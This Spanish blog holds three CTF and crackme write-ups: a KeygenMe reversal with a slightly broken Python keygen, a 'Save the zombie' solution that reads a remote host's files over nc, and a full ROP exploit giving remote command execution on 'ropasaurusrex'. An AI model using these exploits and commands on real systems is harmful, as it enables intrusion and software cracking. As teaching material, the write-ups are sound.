martes, 2 de julio de 2013

KeygenMe - Creando tu propio Keygen

Hace ya algún tiempo que Alberto García Illera me hizo llegar éste artículo que había escrito, dónde explica muy bien cómo resolver un reto keygenme. Por motivos básicamente de tiempo no lo he podido publicar antes, pero lo bueno se hace esperar, os dejo con su artículo:

Muy buenas a todos. Hoy os traigo la resolución a un KeygenMe. Tal y como su nombre indica lo que hay que hacer es programar un keygen para poder registrarnos en dicho programa.

KeygenMe: [Descargar_binario]
MD5 (binario): 3b7964793f026f4c7fe3d14d07ea6146
SHA1 (binario): ea30eb9964ee0d3120183102381d2baeb490cae5

Lo primero de todo será ejecutar el binario para ver qué datos nos solicita para su activación:

image

Como podemos ver el binario solicita dos parámetros para la activación. En caso de introducir dichos parámetros al azar nos aparecerá una pantalla de error.

*Para realizar el desensamblado y posterior debuggueado del binario utilizaré exclusivamente IDA Pro. Se recomienda la lectura de la entrada con el binario cargado en IDA Pro para facilitar en gran medida el análisis.

Lo primero que haremos será importar el binario a IDA y buscar algunos “strings” interesantes que nos puedan facilitar información de la función que realiza las comprobaciones pertinentes para saber si nuestro serial es correcto o no.

image

Afortunadamente los strings que nos indican si hemos pasado o no el reto son reconocidos fácilmente.

Vemos que la cadena “Goodjob” se encuentra en la sección data y la dirección 0x403221. Si accedemos a dicha dirección vemos que existe una referencia en la dirección 0x4011DA (0x40112E+0xAC). Seguimos el rastro a nuestra cadena hasta la anterior dirección y comprobamos que se encuentra en la función que IDA ha nombrado como sub_40112E.

image

Una vez que hemos delimitado qué función es la que contiene los strings (uno de ellos, “Goodjob!”) a los que debemos llegar procedemos a estudiar la estructura del binario.

image

Se puede observar que se realizan múltiples comprobaciones las cuales en caso de introducir algún parámetro de forma incorrecta salta directamente al código de error “Wrong serial”.

Para ir poco a poco saltando a cada una de las restricciones pondremos un breakpoint en la primera subrutina e introduciremos las cadenas “aaaa” y “bbbb” para debuggear la aplicación.

image

Como podemos observar en la imagen anterior, se llama a la instrucción “CALL” hacia a una subrutina de la dirección 0x40109D. Tras finalizar la función, compara EAX con el valor 5 y en caso de que EAX sea menor que 5 hará un salto a la cadena “Wrong serial”. Por tanto, a primera vista podemos ver que es necesario saber qué hace la función sub_40109D ya que el valor EAX devuelto será el comparado con el valor 5.

image

Lo primero interesante que podemos encontrar es la dirección 0x4010A6, donde se mueve la dirección de “ESP+8+arg_0” al registro EDI. Es posible comprobar que dicha dirección de memoria corresponde con la primera cadena introducida manualmente.

image

En resumen, a continuación comento las funciones más interesantes del código:

1) Incrementar el registro EAX
2) Mueve al registro ESI el primer byte introducido (en nuestro caso 0x61=a)
3) Comprueba que ESI sea 0
4) En caso de que ESI sea distinto de 0 se volverá a ejecutar el anterior bucle. Si el registro ESI es 0 se activará el flag ZF y se ejecutará la siguiente instrucción (0x4010B3)

Por tanto sabiendo esto podemos observar que cada vez que el registro ESI es distinto de 0 se aumenta en uno EAX. Dicho aumento está relacionado con la longitud de la primera cadena que hemos introducido en la aplicación. Una vez devuelto el registro EAX este se compara con 5. Por lo que, la primera condición que debe tener nuestro serial es que la longitud de la primera cadena debe ser mayor o igual a 5.

En la siguiente captura es posible visualizar la siguiente comprobación:

image

Resumiendo las instrucciones más importantes:

  • 0x401141: Movemos el valor 2 al registro ECX
  • 0x401147: Dividimos EAX (recordad que era la longitud de la primera cadena) entre el registro ECX (2). El resto de dicha división se almacenará en EDX.
  • 0x401149: Comprobamos si EDX vale 0
  • 0x40114B: En caso de que valga 0 se activará el flag ZF y continuaremos con la siguiente instrucción. Si EDX!=0 saltaremos a “Wrong serial”.

Por tanto podemos observar que debemos introducir una cadena de longitud par.

Hasta ahora tenemos dos condiciones:

- La longitud del primer parámetro debe ser mayor o igual que 5
- La longitud del primer parámetro debe ser par

En esta ocasión llegamos a un trozo de código que contiene dos llamadas a subrutinas distintas. Para hacer el proceso más sencillo, nos centraremos en la segunda instrucción CALL ya que será el valor devuelto por esta función el que se utilizará en la instrucción JNZ para pasar o no a la siguiente instrucción sin saltar al “Wrong serial”.

image

Como se observa antes de la segunda instrucción CALL se realiza un PUSH, el cual almacenará el parámetro que se pasará a la función y con el que está trabajará en la PILA. Finalmente el valor devuelto por la subrutina sub_40109D será comparado con 17 (0x11 en hex).

Dentro de la subrutina es posible ver lo siguiente:

image

Se trata del mismo código que vimos anteriormente en el que se almacena en EAX la longitud de la cadena pasada, que en este caso a diferencia del anterior es la segunda cadena. Por lo tanto, si la longitud de la segunda cadena introducida no es 17 la aplicación mostrará “Wrong serial”.

Por tanto, procederemos a ingresar 6 “a” en la primera cadena y 17 “b” en la segunda.

El siguiente trozo de código se puede observar en la siguiente captura:

image

Antes de nada debemos centrarnos en la última comprobación de ese bloque. En este caso es:

0040119F call sub_4010F3
004011A4 test ecx, ecx
004011A6 jnz short loc_4011EA

Como se puede observar se realiza la instrucción “TEST ECX, ECX”, donde se comprueba que ECX sea 0. Por tanto el fin de todo este bloque será conseguir que tras las tres instrucciones CALL el valor de ECX sea 0.

En la captura he querido resaltar que la primera instrucción MOV está moviendo al registro EAX la dirección de memoria donde empieza nuestra cadena de “b”s. Y si nos fijamos en la segunda instrucción se coloca un “0” en la posición EAX+8. Por lo tanto la cadena se convertirá en “bbbbbbbb0bbbbbbbb”. Después mueve al registro EDI la dirección donde se encuentra las “b” con el 0 entre medias y almacena EDI en la pila antes de llamar a la subrutina sub_4010B8.

Sin embargo en vez de centrarnos en las instrucciones CALL de este bloque de código, seguiremos debugueando y veremos si cumplimos la condición “004011A6: jnz short loc_4011EA”.

De momento dejaremos entonces aparcadas esas funciones ya que al parecer hemos saltado la el JNZ satisfactoriamente.

La siguiente condición del siguiente bloque (0x4011A8) también la cumplimos por lo que de momento no nos preocuparemos de ella.

El problema recae en el siguiente bloque, más concretamente en la dirección 0x4011BE:

image

En ésta instrucción se realiza un XOR entre el valor de EAX y el valor de 4 bytes de la dirección 0x403200. En nuestro caso EAX vale 0, por lo que sea el valor que sea el de la dirección 0x403200 el resultado siempre será 0, por lo que la instrucción JNZ siguiente nos enviará a “Wrong serial”. Una vez aquí debemos ver tanto el valor de EAX como el de la dirección 0x403200. Empezaremos por este último:

Si visualizamos las referencias de dicho valor:

image

Como vemos en la anterior imagen, el valor es referenciado en la dirección 40112E+5A (0x401188):

image

Se trata de una instrucción que se encuentra dos instrucciones por debajo de las funciones que anteriormente pasamos por alto. Es más, si nos fijamos podemos ver que está directamente relacionada con el valor devuelto por el primer CALL.

El valor de EAX se almacena en la dirección 0x403200, la dirección de nuestro XOR. Por tanto entraremos en la función sub_4010B0 para ver qué es lo que ocurre y como hacer que el valor devuelto sea distinto de 0.

image

De todo esto podemos concluir que, sólo si introducimos valores en los ocho primeros caracteres de la segunda cadena, comprendidos entre “:” y “L”, EAX tendrá un valor distinto a 0.

Por tanto para que la dirección de memoria 0x403200 tome valores deberemos introducir valores entre “:” y “L” para los primeros ocho caracteres, por ejemplo: “BBBBBBBB0bbbbbbbb”. De este modo se guardará la cadena “BBBBBBBB” en la dirección 0x403200.

Ya tenemos otra condición cumplida, continuamos debuggeando:

image

Aquí podemos ver que se va a llamar a la misma función pero pasando como parámetro la dirección de memoria anterior + 9. Es decir la primera “b” tras el 0. En esta ocasión simplemente valdrá aplicando la misma solución que anteriormente “BBBBBBBB0BBBBBBBB”. *Recordad que el cero del medio lo pone la aplicación, nosotros solo debemos introducir 17 “B”

Lo que devuelva EAX (que será distinto de 0) se almacenará en la dirección 0x403210, también se guardará la cadena “BBBBBBBB” en la dirección 0x403210.

Ahora solo deberemos ir hasta el lugar donde se realiza el XOR de EAX con la cadena “BBBBBBBB” que hemos introducido y veremos qué valor contiene el registro EAX.

image

Con esto, ya tenemos el valor que tienen que tener los primero ocho caracteres de la segunda cadena: “DDCCBE050BBBBBBB”.

Si realizamos la misma tarea para el segundo bloque de “B”, obtendremos la cadena final que es necesaria:

image

Obteniendo el resultado final a introducir de la segunda cadena “DDCCBE050BB997C0A”. El valor nueve de la cadena que la aplicación pone a cero puede ser cualquiera que nosotros queramos.

Y tras introducirlo:

image

Conseguimos que la aplicación nos devuelva el mensaje satisfactorio.

Sin embargo no hemos visto como se genera el registro EAX. Simplemente hemos copiado el valor que nos ha dado en ambos trozos de la segunda. Por lo tanto, nuestra solución solo será válida para el par de cadenas que habíamos establecido desde el principio.

Veamos cómo conseguir un caso genérico para cualquier par de cadenas:

image

Vemos que se almacenan en EAX 4 bytes desde la dirección de memoria 0x403208 al cual se le suma los 4 bytes de la dirección 0x403218 posteriormente, dichos bytes son estáticos y corresponden con los bytes “DDCCBBAA”. Por tanto debemos saber cuáles son los primeros 4 bytes de 0x403208. Si observamos las referencias de dicha dirección encontramos:

image

Si nos dirigimos a la dirección indicada, nos encontramos con el mismo código que vimos al principio del reto, el cual dejamos estar ya que la función no nos mandaba a “Wrong serial”.

image

Como se puede ver el valor devuelto por la subrutina sub_403208 será el valor que se almacenará en la dirección 0x403208 que es la que nos interesa controlar. Debemos destacar que se le están pasando dos parámetros a la función (la dirección donde se encuentra almacenada la primera cadena que introduce el usuario y la longitud de la misma):

image

Nos encontramos con un código sencillo que se encarga de sumar el valor en hexadecimal de cada uno de los caracteres con el valor de la longitud de la cadena, disminuyendo esta última de uno en uno (por ejemplo para una cadena de longitud 6: 6+5+4+3+2+1).

Por lo tanto ya tenemos que el valor a comparar es lo obtenido en esta función sumado a “DDCCBBAA”. Por último y para terminar, debemos fijarnos en que la segunda mitad de la segunda cadena es comparada multiplicando el resultado anterior por 2.

image

El reto consistía en hacer un Keygen, por tanto recapitularemos las condiciones de cada cadena y desarrollaremos nuestro propio keygen:

  1. La primera cadena debe tener al menos longitud 5
  2. La primera cadena debe tener longitud par
  3. La segunda cadena debe tener longitud 17
  4. La segunda cadena depende de la primera
  5. Dicha dependencia se encuentra en la longitud y caracteres de la primera cadena. Sumando cada carácter en hexadecimal entre si y sumando el contador de la longitud

Al anterior resultado se le sumará el valor “DDCCBBAA”

Dicha suma será la respuesta de los primeros ocho caracteres, mientras que la respuesta de los últimos ocho será la anterior multiplicada por 2

A continuación el código del keygen:

#encoding: utf-8
Import random
Import string
def prim_param(size,chars=string.ascii_uppercase+string.digits + string.ascii_lowercase):
return''.join(random.choice(chars) for x in range(size))

param1 = prim_param(random.randrange(6, 20, 2))
cont = 0

base = int("0xddccbbaa",16)
for i in range(len(param1)):
cont = cont + int(param1[i].encode("hex"),16) + i
cont = cont + i + 1 #para compensar la última vuelta
parte1 = hex(cont+base)[2:-1]
parte2 = hex((cont+base)*2)[3:-1]

print "Parámetro1: " + param1
print "Parámetro2: " + (parte1 + prim_param(1) + parte2).upper()

Con esto conseguimos nuestro objetivo, un reto laborioso aunque no complicado.

Un saludo.

martes, 28 de mayo de 2013

Secuinside CTF - Save the zombie [400]

Este fin de semana se ha llevado a cabo el Capture The Flag de “Secuinside” organizado en Corea del Sur. A continuación paso a explicar la resolución de la prueba “Save the Zombie” premiada con 400 puntos, el cuál me pareció divertido e interesante.

La descripción que se nos daba era la siguiente:

--
binary : http://war.secuinside.com/files/Apache2
server : 54.214.248.168
A program is being run by one of the hackers on an abandoned website.
Rescue the zombie PCs controlled by the hacker!
--

La descripción de la prueba es sencilla, tenemos un servidor web que ha sido hackeado y que posiblemente se está utilizando de C&C de una red de botnets, y debemos conseguir el acceso al mismo o a uno de los clientes.

Si nos conectábamos a la dirección IP que nos daban mediante el protocolo HTTP, obteníamos el típico mensaje que devuelve el servidor web Apache “It works!”. Por lo que, una buena opción para empezar era realizar fuzzing web sobre el portal:

==================================================================
ID Response Lines Word Chars Request
==================================================================
00396: C=200 196 L 552 W 3962 Ch " - apache"
02547: C=200 2 L 3 W 46 Ch " - index"
04890: C=301 9 L 28 W 312 Ch " - t"

El fichero “apache” encontrado contenía el código fuente del binario que se nos daba inicialmente y que se encontraba en ejecución en el servidor web, las partes más destacables del código eran:

Se está generando el directorio “t” para almacenar los logs del servidor, el cual ya hemos encontrado mediante el fuzzing web:

// check tmp directory, create it
DIR *dir = opendir( "t" );
if( dir == NULL )
system( "mkdir t" );
else
closedir( dir );
AddLog( logpath, "t/cli.exe" );

Los usuarios que envíen peticiones a dicho servidor con la palabra “BD-Register” en la cabecera “Accept: ” serán agregados al log, por lo que serán víctimas de la botnet:

char *tmpstr = myntoa( cli_ip );
printf( "connection from %s\n", tmpstr );
free( tmpstr );
#define ACCEPTLEN 2000
char acceptline[ACCEPTLEN];
char *tmp;
tmp = strstr( buffer, "Accept: " );
if( tmp != NULL )
{
strncpy( acceptline, tmp, ACCEPTLEN );
tmp = strchr( acceptline, '\n' );
if( tmp != NULL )
*tmp = 0;
}
else
goto _end;
char *exists = strstr( acceptline, "BD-Register" );
if( exists == NULL )
goto _end;
char *ip = myntoa( cli_ip );
printf( "client registered from %s\n", ip );
AddLog( logpath, ip );
free( ip );

Si fuzzeábamos el directorio “/t” nos topamos con lo siguiente:

==================================================================
ID Response Lines Word Chars Request
==================================================================
00192: C=200 175 L 175 W 2447 Ch " - a"
02545: C=200 0 L 0 W 0 Ch " - index"

El fichero “a” contiene los logs de los zombies que se conectan al C&C:

t/cli.exe
115.68.108.68
115.68.108.68
115.68.108.68
115.68.108.68
115.68.108.68
115.68.108.68
115.68.108.68

Ya tenemos la dirección IP de nuestro zombie y parece que nos dan la opción de descargarnos el cliente de la botnet, fichero “t/cli.exe”.

Si realizábamos ingeniería inversa sobre el binario se podía encontrar que éste se pone a la escucha en el puerto 8080 en hexadecimal “1F90”, que curiosamente también se encuentra abierto en cliente zombie encontrado en los logs “115.68.108.68”:

image

Si nos conectamos a dicho puerto mediante Netcat parece que no conseguimos realizar ninguna acción, posiblemente debamos enviar alguna secuencia de comandos para interactuar con él. Si continuamos con las comprobaciones que realiza el binario nos encontramos con las siguientes:

image

Estamos recibiendo a través del socket cuatro bytes que posteriormente serán comparados con las tres opciones mostradas anteriormente:

- Valor “1”: Posteriormente realiza acciones con la instrucción “GetCurrentDirectoryA”, “GetFileAttributesA”, entre otras.

- Valor “2”: Posteriormente realiza acciones con la instrucción “GetCurrentDirectoryA”, entre otras.

- Valor “3”: Posteriormente realiza acciones con la instrucción “ReadFile”, entre otras.

Ya estamos cerca, parece que primero deberemos obtener el listado de los ficheros existentes en el directorio y posteriormente leer el fichero con la key.

Es necesario aclarar que al estar leyendo cuatro bytes, hemos de enviarle al cliente zombie la siguiente dirección “0x0000000X”, ya que de lo contrario el comparador no funcionará correctamente.

Demandamos la opción 1 con el path “.”:

[dromero@default] - [~] perl -e 'print "\x01\x00\x00\x00."' | nc 192.168.1.136 8080
C:\Users\dromero\Desktop\zombieC:\Users\dromero\Desktop\zombie?<DIR> \..
45056 \cli.exe
40 \fake_key.txt

Demandamos la opción 4 con el fichero “fake_key.txt”:

[dromero@default] - [~] perl -e 'print "\x04\x00\x00\x00fake_key.txt"' | nc 192.168.1.136 8080
fake_key.txt
This is a fake key, Get the real key ;)

Tenemos nuestra key en local, por lo que realizamos el mismo proceso en el cliente zombie real encontrado en los logs:

[dromero@default] - [~] perl -e 'print "\x01\x00\x00\x00."' | nc 115.68.108.68 8080
C:\Users\user\Desktop\my zombie pcC:\Users\user\Desktop\my zombie pc=<DIR> \..
45056 \cli.exe
43 \my_k3y.txt
[dromero@default] - [~] perl -e 'print "\x04\x00\x00\x00my_k3y.txt"' | nc 115.68.108.68 8080
my_k3y.txt
the key is "Night Of The Living Dead"

De este modo conseguíamos la key válida y nos hacíamos con 400 puntos más ;)

Un Saludo!!

domingo, 12 de mayo de 2013

[Exploit] – PlaidCTF 2013 - Ropasaurusrex (pwn 200)

Aunque ya hayan pasado unas semanas de la finalización del PlaidCTF 2013, he decidido publicar la solución de la prueba “ropasaurusrex” debido a que me resultó una prueba interesante y que tranquilamente podríamos encontrarnos una explotación similar en la vida real. Dicha prueba se encontraba en la sección de “pwn” y se premiaba con 200 puntos.

Recomendación: La explotación de dicha prueba requiere de una serie de conocimientos técnicos avanzados en técnicas de explotación de vulnerabilidades en entornos Linux. Y como Daniel García realizó un estupendo trabajo explicando estas técnicas, recomiendo encarecidamente la lectura de la entrada “GOT Dereferencing / Overwriting - ASLR/NX Bypass (Linux)” en su blog (al igual que las demás entradas).

Así que empezamos:

Binario: [descarga_ropasaurusrex]
Md5 binario: c5bb68949dcc3264cd3a560c05d0b566
Sha1 binario: 85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d

Reconocimiento del problema:

En las notas del reto nos indicaba que el binario a analizar se encontraba en ejecución en el host Y puerto X, por lo que deberíamos explotarlo de forma remota. Una vez descargado el binario, pasamos a ejecutarlo para ver que nos pide, topándonos con lo siguiente:

image

Como es posible observar, a simple vista existe una vulnerabilidad overflow debido a una mala validación en los datos de entrada. Por lo que tenemos claro por dónde debemos ir. Al igual que en los anteriores overflows utilizamos pattern_create de metasploit para obtener el tamaño necesario para sobrescribir EIP, en este caso 140.

Mediante el script checksec.sh obtenemos las protecciones de seguridad que implementa nuestro binario:

image

Es posible ver como el binario dispone de la protección NX (PILA no ejecutable) y ya que dicho servicio se explotará de forma remota, debemos suponer que la protección ASLR también se encuentra activada, esto nos encamina a que deberemos utilizar técnicas de ROP (Return-oriented programming) para conseguir nuestro objetivo.

Si indagamos un poco en qué funciones, llamadas, etc, contiene el binario obtenemos lo siguiente:

Función vulnerable:

root@kali:~/Desktop# objdump -M intel -d ropasaurusrex | grep -i -A10 80483f4
80483f4: 55 push ebp
80483f5: 89 e5 mov ebp,esp
80483f7: 81 ec 98 00 00 00 sub esp,0x98
80483fd: c7 44 24 08 00 01 00 mov DWORD PTR [esp+0x8],0x100
8048404: 00
8048405: 8d 85 78 ff ff ff lea eax,[ebp-0x88]
804840b: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
804840f: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0
8048416: e8 11 ff ff ff call 804832c <read@plt> <<-- Vulnerable
804841b: c9 leave
804841c: c3 ret <<-- Ret inicial a nuestro ROP

Direcciones de las funciones write y read en la PLT:

root@kali:~/Desktop# objdump -d ropasaurusrex | grep -iE -A3 '(write@plt|read@plt)'
0804830c <write@plt>:
804830c: ff 25 14 96 04 08 jmp *0x8049614
8048312: 68 08 00 00 00 push $0x8
8048317: e9 d0 ff ff ff jmp 80482ec <__gmon_start__@plt-0x10>
--
0804832c <read@plt>:
804832c: ff 25 1c 96 04 08 jmp *0x804961c
8048332: 68 18 00 00 00 push $0x18
8048337: e9 b0 ff ff ff jmp 80482ec <__gmon_start__@plt-0x10>

Con la información anteriormente nombrada y debido a la falta de la llamada “system” en nuestro binario, es posible llegar a la conclusión de que deberemos realizar un exploit utilizando la técnica ROP con los siguientes objetivos:

  1. Explotar el stack buffer overflow consiguiendo el control del registro EIP.
  2. Devolver la dirección real de la función READ o WRITE almacenada en la GOT. (Mediante la función WRITE)
  3. Calcular la dirección real de la función SYSTEM a partir de la obtenida anteriormente.
  4. Mediante una función READ implementada por ROP almacenar el comando enviado por nosotros en alguna sección con permisos de escritura y la dirección real de la función SYSTEM.
  5. Ejecute la función SYSTEM con el comando enviado.

¿Y todo esto realizando una sola conexión? - Por supuesto!!

Si os preguntáis por qué es necesario montar todo este lio para ejecutar código remotamente, la respuesta es bien sencilla, ASLR y NX. Al no disponer de ejecución en la PILA, no es posible realizar un ROP sencillo que ejecute una shellcode almacenada en la misma y debido a que el sistema dispone de ASRL activado, las direcciones de las librerías compartidas son aleatorizadas.

Empezamos nuestro exploit guardando las direcciones necesarias para realizar nuestro ROP, las cuales se cargan estáticamente (PLT).

import sys
import struct
import socket

## Obtenemos el comando
command = sys.argv[1]

## Creamos el socket
s = socket.socket()
s.connect(("localhost", 4444))

## Declaramos las direcciones necesarias
read_plt = 0x0804832c
read_plt_point = 0x804961c
write_plt = 0x0804830c
offset = 0x8a530 # (read - system)
system = 0x0 # Por rellenar
ret_addr = 0x41414141

Obtención de la dirección SYSTEM:

Tal y como se ha comentado anteriormente lo primero que nos interesa es que el propio binario nos devuelva la dirección real de la función READ. Dicha dirección se encuentra almacenada en el puntero “read_plt_point = 0x804961c”. Utilizaremos la función WRITE para imprimir por “stdout” (en nuestro caso, salida asociada al socket) su contenido.

La función WRITE demanda tres argumentos: tipo, puntero a leer y tamaño. Por lo que será necesario añadir el siguiente código a nuestro exploit.

## Leemos la direccion real de la funcion read
sploit = "A" * 140
sploit += struct.pack("<L", write_plt) # Write plt address
sploit += struct.pack("<L", ret_addr) # Return address
sploit += struct.pack("<L", 0x1) # Stdout
sploit += struct.pack("<L", read_plt_point) # Read GOT address
sploit += struct.pack("<L", 0x4) # Size

s.send(sploit + “BBBB”)
data = s.recv(4)
read_addr = struct.unpack("<L", data)[0]
print "(*) Read real address: ", hex(read_addr)
s.close()

Si os fijáis lo único que estamos haciendo es sobrescribir con la dirección de la función WRITE nuestra dirección de retorno inicial, pasándole los argumentos apropiados. Es importante introducir una dirección de retorno después de WRITE (ret_addr), ya que cuando ésta finalice deberá saltar a algún lugar.

image

Con esto ya hemos conseguido nuestra dirección apreciada y podremos calcular automáticamente la dirección real de SYSTEM.

Si visualizamos la PILA en el momento de continuar con la ejecución, nos topamos con un pequeño problema:

image

Aún disponemos de los parámetros del la función WRITE en la pila! Debemos encontrar un modo para que dichos parámetros desaparezcan de la PILA y podamos continuar con la ejecución de nuestro ROP. Este tipo de casos se suelen solucionar con conjuntos de instrucciones tipo “POP reg / POP reg / POP reg / RET”.

Realizando una pequeña búsqueda con “objdump” podemos localizar esta estructura en el binario:

root@kali:~/Desktop# objdump -d ropasaurusrex | grep -iE '(pop|ret)'
...
80484b5: 5b pop ebx
80484b6: 5e pop esi <<--- A partir de aquí
80484b7: 5f pop edi
80484b8: 5d pop ebp
80484b9: c3 ret
...

Si substituimos nuestra variable “ret_addr” en el exploit por la dirección 0x80484b6 y ejecutamos de nuevo, habremos solventado el problema sobrescribiendo EIP con el valor 0x42424242 (último valor enviado en el overflow).

Cálculo de la dirección SYSTEM:

Aprovechando la modificación del exploit, podemos añadir el calculo de nuestra dirección SYSTEM en base a READ – OFFSET.

...
s.send(sploit + "BBBB")
print "(*) --------------------------------------------------"
print "(*) We send the first part of our exploit.."
data = s.recv(4)

## Calculamos la direccion real de la funcion read
read_addr = struct.unpack("<L", data)[0]
system = (read_addr - offset)

print "(*) Read real address: ", hex(read_addr)
print "(*) System real address: ", hex(system)
s.close()
...

Y al ejecutar el exploit obtendremos lo siguiente:

image


Envío del comando y la dirección de SYSTEM al binario:

Debido a que la dirección de SYSTEM únicamente es posible conseguirla una vez hemos interactuado con el binario, hemos perdido la oportunidad de enviar datos al mismo, por lo que, hemos de continuar nuestro ROP haciendo que éste (binario) nos vuelva a solicitar datos mediante la función READ.

La función READ también nos solicita tres argumentos para trabajar con ella: tipo, puntero a escribir y tamaño. En este caso deberemos buscar una sección con permisos de escritura y con tamaño suficiente como para copiar algunas direcciones de memoria y nuestro comando:

root@kali:~/Desktop# objdump -h ropasaurusrex | less
...
19 .jcr 00000004 0804952c 0804952c 0000052c 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 000000d0 08049530 08049530 00000530 2**2
CONTENTS, ALLOC, LOAD, DATA
21 .got 00000004 08049600 08049600 00000600 2**2
CONTENTS, ALLOC, LOAD, DATA
22 .got.plt 0000001c 08049604 08049604 00000604 2**2
CONTENTS, ALLOC, LOAD, DATA
...

Tal y como es posible observar la sección “.dynamic” tiene permisos de escritura y dispone de “0xd0” de tamaño, más que suficiente.

Por lo que continuaremos modificando un poco nuestro exploit, añadiendo una nueva variable:

...
dynamic = 0x08049530
...

Y nuestra nueva función READ, implementada en el ROP:

...
sploit += struct.pack("<L", read_plt) # Read plt address
sploit += struct.pack("<L", ret_addr) # Return address POP/POP/POP/RET
sploit += struct.pack("<L", 0x0) # Stdin
sploit += struct.pack("<L", dynamic) # Dest addr
sploit += struct.pack("<L", 0x30) # Size
...

Hemos de tener en cuenta que el binario en este momento se quedará esperando a recibir más datos, por lo que vamos a tener que implementar un seguro trozo de código en nuestro exploit que envíe nuestra segunda petición contra el servicio (dicho código se añade justo después del primer “send”):

...
print "(*) We send the second part of our exploit.."

## Almacenamos el comando mediante (read) y lo ejecutamos mediante (system)
sploit2 = struct.pack("<L", 0x58585858) # Padding for LEAVE
sploit2 += struct.pack("<L", system) # Call system address
sploit2 += struct.pack("<L", 0x58585858) # Fake return address
sploit2 += struct.pack("<L", dynamic+16) # Addr of our command

s.send(sploit2 + command + "\x00")
s.close()
...

Puede llamar la atención el padding en el segundo envío, posteriormente será explicado.

Si ejecutamos de nuevo el exploit y visualizamos que sucede con GDB:

image

Tal y como se observa en la imagen anterior, seguimos controlando EIP y disponemos en la sección .dynamic la estructura que queríamos. Pero, ¿cómo conseguimos llamar ahora a la función SYSTEM con el comando?

Si os fijáis en la estructura formada en la sección .dynamic, es similar a la que tiene nuestra PILA antes de llamar a una función cuando se está realizando un ROP (System-Addr + Fake-Ret + Command-Addr), por lo que necesitamos que nuestra PILA (registro ESP) pase a ser la dirección de la sección .dynamic “0x8049530”, es decir “ESP=~0x8049530”.

Aquí es donde toma sentido la estructura formada en .dynamics. Para conseguir nuestro objetivo únicamente necesitamos almacenar nuestra dirección de la sección .dynamics en el registro EBP y posteriormente llamar a algún epílogo (LEAVE / RET), de este modo, la PILA se encontrará situada donde queríamos.

De aquí el padding comentado anteriormente, ya que el epílogo obtendrá como nueva PILA la dirección en EBP+4. Del mismo modo nuestro comando es enviado justo después de “sploit2”, por lo que añadiremos como puntero al comando la dirección de .dynamics+16 (EBP=.dynamic ; Padding=.dynamic+4 ; System-Addr=.dynamic+8 ; Fake-Ret=.dynamic+12 ; Command-Addr=.dynamic+16).

Es necesario añadir nuevas variables generales:

...
pop_ebp = 0x080483c3 # POP EBP / RET # From objdump
epilogue = 0x080482ea # LEAVE / RET # From objdump
...

Y nuevas instrucciones al final del primer envío “sploit” para construir la nueva PILA.

...
sploit += struct.pack("<L", pop_ebp) # POPEBP/RET (Save dynamic address in EBP)


sploit += struct.pack("<L", dynamic) # dynamic address
sploit += struct.pack("<L", epilogue) # Now EBP in our new ESP
s.send(sploit)
...

Ejecución de SYSTEM:

Con todas las modificaciones que se han hecho en el exploit a lo largo de la entrada es normal que hayan habido posibles confusiones, por lo que adjunto el exploit final a continuación:

import sys
import struct
import socket

## Obtenemos el comando
command = sys.argv[1]

## Creamos el socket
s = socket.socket()
s.connect(("localhost", 4444))

## Declaramos las direcciones necesarias
read_plt = 0x0804832c
read_plt_point = 0x804961c
write_plt = 0x0804830c
offset = 0x8a530 # (read - system)
system = 0x0 # Por rellenar

ret_addr = 0x080484b6
dynamic = 0x08049530
pop_ebp = 0x080483c3 # POP EBP / RET
epilogue = 0x080482ea # LEAVE / RET

## Leemos la direccion real de la funcion read
sploit = "A" * 140
sploit += struct.pack("<L", write_plt) # Write plt address
sploit += struct.pack("<L", ret_addr) # Return address POP/POP/POP/RET
sploit += struct.pack("<L", 0x1) # Stdout
sploit += struct.pack("<L", read_plt_point) # Read GOT address
sploit += struct.pack("<L", 0x4) # Size

sploit += struct.pack("<L", read_plt) # Read plt address
sploit += struct.pack("<L", ret_addr) # Return address POP/POP/POP/RET
sploit += struct.pack("<L", 0x0) # Stdin
sploit += struct.pack("<L", dynamic) # Dest addr
sploit += struct.pack("<L", 0x30) # Size

sploit += struct.pack("<L", pop_ebp) # POP EBP / RET (Save dynamic address in EBP)
sploit += struct.pack("<L", dynamic) # dynamic address
sploit += struct.pack("<L", epilogue) # Now EBP in our new ESP

s.send(sploit)

print "(*) --------------------------------------------------"
print "(*) We send the first part of our exploit.."
data = s.recv(4)

## Calculamos la direccion real de la funcion read
read_addr = struct.unpack("<L", data)[0]
system = (read_addr - offset)

print "(*) Read real address: ", hex(read_addr)
print "(*) System real address: ", hex(system)

print "(*) We send the second part of our exploit.."

## Enviamos el comando mediante (read) y lo ejecutamos mediante (system)
sploit2 = struct.pack("<L", 0x58585858) # Padding for LEAVE
sploit2 += struct.pack("<L", system) # Call system address
sploit2 += struct.pack("<L", 0x58585858) # Fake return address
sploit2 += struct.pack("<L", dynamic+16) # Our command

s.send(sploit2 + command + "\x00")

print "(*) Result of: ", command
print "(*) --------------------------------------------------"
data = s.recv(1024)
print data

s.close()

Y si ejecutamos nuestro exploit pasando como argumento diferentes comandos:

image


Esto es todo, espero que os haya gustado.

Saludos!!